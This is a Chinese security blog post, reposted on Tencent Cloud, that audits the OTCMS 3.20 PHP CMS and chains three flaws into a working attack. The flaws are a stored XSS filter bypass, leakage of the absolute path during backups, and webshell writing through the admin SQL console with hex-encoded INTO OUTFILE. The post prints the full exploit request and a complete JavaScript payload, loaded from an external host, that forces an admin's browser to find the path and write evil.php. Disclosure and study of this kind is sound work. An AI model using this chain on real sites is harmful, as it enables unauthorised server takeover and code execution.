前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >斗哥牌OTCMS3.20漏洞组合,照亮你的心

斗哥牌OTCMS3.20漏洞组合,照亮你的心

作者头像
漏斗社区
发布2018-04-16 10:25:42
6700
发布2018-04-16 10:25:42
举报
文章被收录于专栏:漏斗社区漏斗社区漏斗社区

0x00 背景

本周拿到OTCMS的源码便对该源码进行审计,发现这个源码使用了预编译暂时没有找到SQL注入相关的问题,且对用户输入的内容控制比较严格,对大部分的用户输入位置进行数据类型的转换,引号的转义等安全处理,最后通过审计发现了如下的安全问题组合利用可以GetShell,虽然GetShell的条件限制可能较多。期待和师傅的各种交流讨论,共同学习。

0x01 审计过程

XSS注入

0x00 相关环境

源码信息:OTCMS-PHP-3.20-20180316

问题文件: \otcms\OTCMS_PHP_3.20_20180316\inc\classArea.php 漏洞类型:存储型XSS注入 站点地址:http://otcms.com/

0x01 漏洞分析

首先注册会员并在管理员审核通过后在会员中心发布文章,在\otcms\OTCMS_PHP_3.20_20180316\usersNews_deal.php文件的第58行中接收POST请求的content参数的值然后传入到FilterEditor方法中进行安全处理。

跟入FilterEditor方法,在\otcms\OTCMS_PHP_3.20_20180316\inc\classArea.php文件的第247行中发现该方法。通过分析该方法的过滤规则,得知过滤规则可以被绕过。

过滤规则存在被绕过的的问题,绕过的方式有多种,这里我是绕过script标签,绕过的方式很简单,仅需在最后一个</script >的>位置之前加上空格即可。

$str = preg_replace("/<\s*(script[^>]*)>([\s\S][^<]*)<\/\s*script>/si","",$str);
$str = preg_replace("/<\s*(script[^>]*)><\/\s*script>/si","",$str);

0x02 漏洞复现

进行如下请求可以在发布的文章正文中进行存储XSS的利用。

POST /usersNews_deal.php?mudi=deal HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8083/usersCenter.php?mudi=addNews
Content-Type: application/x-www-form-urlencoded
Content-Length: 528
Cookie: VGM_msid=lK6h9L; uc_menu=7; VGM_userauth=iCWfvAR8iseJ5T3P9bVHw%2BZLTvqmLhL8vMS0IIj3ZoEOL2%2Fa%2Fax8vtdH; Azt_msid=jzN649; P4i_msid=543XR7; QF5_msid=YsrpNW; QF5_userauth=0RDHaeNxlXszVUhosa8jfPnOOjqv3NTLBStfYowagRk6AfRaUUZijnnS; menubox1=menubox1; PHPSESSID=tfj0laduj9m85taajh7f5esrp2; SWAwc_userID=1; SWAwc_username=thinking; SWAwc_userInfo=UzZdCAVyW2BXal1jVDtQbgQ9UWULWVxnB2IEOlA4VjQBMA9iA2VVMwdgAWlTZlcwBmQANw5iXDEBbF42WjsAMlMwXTkFMFtsVzBdOFRpUD8Ea1FhC2VcXAdbBFJQNVYpAWAPLwMz;XDEBUG_SESSION=PHPSTORM
Connection: close
Upgrade-Insecure-Requests: 1

backURL=http%3A%2F%2F127.0.0.1%3A8083%2FusersCenter.php%3Fmudi%3DaddNews&dataID=0&isScore1=1&isScore2=1&isScore3=0&score1Name=%E7%BB%8F%E9%AA%8C%E5%80%BC&score2Name=%E7%BD%91%E9%92%9B%E5%B8%81&score3Name=&infoScore1=10&infoScore2=10&infoScore3=10&theme=Thinking_test&source=%E7%BD%91%E9%92%9B%E7%A7%91%E6%8A%80&writer=thinking&typeStr=%2C12%2C&content=<script>alert(1)</script >&infoFileDir=upFiles%2FinfoImg%2F&upImgStr=&pageNum=&themeKey=&contentKey=&img=&isCheckUser=0&score1=&score2=&score3=&cutScore1=&cutScore2=&cutScore3=

接下来访问新闻资讯(发布文章时候选择的栏目)中发布的文章便会触发XSS。

绝对路径泄露

0x00 相关环境

源码信息:OTCMS-PHP-3.20-20180316 问题文件:\otcms\OTCMS_PHP_3.20_20180316\inc\classZip.php 漏洞类型:绝对路径泄露 站点地址:http://otcms.com/

0x01 漏洞分析

在文件\otcms\OTCMS_PHP_3.20_20180316\inc\classZip.php中的第86行中,在进行备份文件的压缩的时候,将压缩的路径直接打印出来,暴露了站点的绝对路径。

0x02 漏洞复现

进行如下请求可以获取站点的绝对路径。

数据库写马

0x00 相关环境

源码信息:OTCMS-PHP-3.20-20180316 问题文件: \otcms\OTCMS_PHP_3.20_20180316\admin\sysCheckFile_deal.php 漏洞类型:数据库写马 站点地址:http://otcms.com/

0x01 漏洞分析

由于该源码暴露了站点的绝对路径,所以就开始挖掘SQL注入漏洞,后面发现站点使用了预编译所以暂时还没有找到可以利用的点,在后台的“管理员专区->程序文件检查->SQL语句调试”中发现可以执行SQL语句的地方,通过分析文件\otcms\OTCMS_PHP_3.20_20180316\admin\sysCheckFile_deal.php文件中的第541行中内容,得知在执行SQL语句中是不能出现分号的,但是通过数据库写马操作写入PHP代码是有分号的,此处可以使用hex编码绕过。

0x02 漏洞复现

进行如下请求将PHP代码进行hex编码后再执行数据库写马操作便可以getshell。

漏洞的组合利用

首先需要在前台存储型xss中引入js文件,http://xx.xx.xx/97b575.js,js的内容如下所示。

function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp1=new XMLHttpRequest();
  xmlhttp2=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp1=new ActiveXObject("Microsoft.XMLHTTP");
  xmlhttp2=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp1.onreadystatechange=function()
  {
  if (xmlhttp1.readyState==4 && xmlhttp1.status==200)
    {
    filepath=xmlhttp1.responseText;
    reg="<div>1/1正在压缩文件(.*?)</div>"
    data = filepath.match(reg);
    data = data[1].replace(/\//g,"\/\/");
    data = data.replace(/ /g,"")}
    xmlhttp2.open("POST","http://127.0.0.1:8083/admin/sysCheckFile_deal.php?mudi=sql",true);
    xmlhttp2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp2.send("backURL=http://127.0.0.1:8083/admin/sysCheckFile.php?mudi=sql&sqlContent=select 0x3c3f70687020706870696e666f28293b3f3e into outfile \""+data+"//evil.php\"");
  }
xmlhttp1.open("POST","http://127.0.0.1:8083/admin/softBak_deal.php?mudi=backup",true);
xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp1.send("backURL=http%3A%2F%2F127.0.0.1%3A8083%2Fadmin%2FsoftBak.php%3Fmudi%3Dbackup&mode=diy&selTable%5B%5D=upFile&zipNote=&backupSpace=server");


}
loadXMLDoc();

在会员中心中进行文章的发布。然后正常填入文章内容选项,提交的时候使用burp suite进行代理抓包,添加<script src="http://xx.xx.xx/97b575.js" </script >然后提交请求包。

模拟管理员登录后台,并查看或审核文章,当管理员访问到该文章,便会触发JS从而为利用数据库写马的操作,写入PHP文件GetShell。 管理员查看文章,便会触发ajax进行XHR请求,写入PHP文件。

此时在D:\soft\phpStudy\PHPTutorial\WWW\code\otcms\OTCMS_PHP_3.20_20180316\upFiles文件夹下便会生成一个evil.php的文件。

访问该文件便能执行PHP代码GetShell。

0x02 小结

本篇以otcms的源码进行审计,其中数据库写马的操作限制比较多,但是通过这几个漏洞的组合利用,可以学习下使用前端代码获取ajax返回的绝对路径并进行数据库写马操作,期待师傅们一起交流讨论,但是如果是hc请走开勿扰,交流学习可联系我thinking_balabala@163.com。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-04-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏斗社区 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档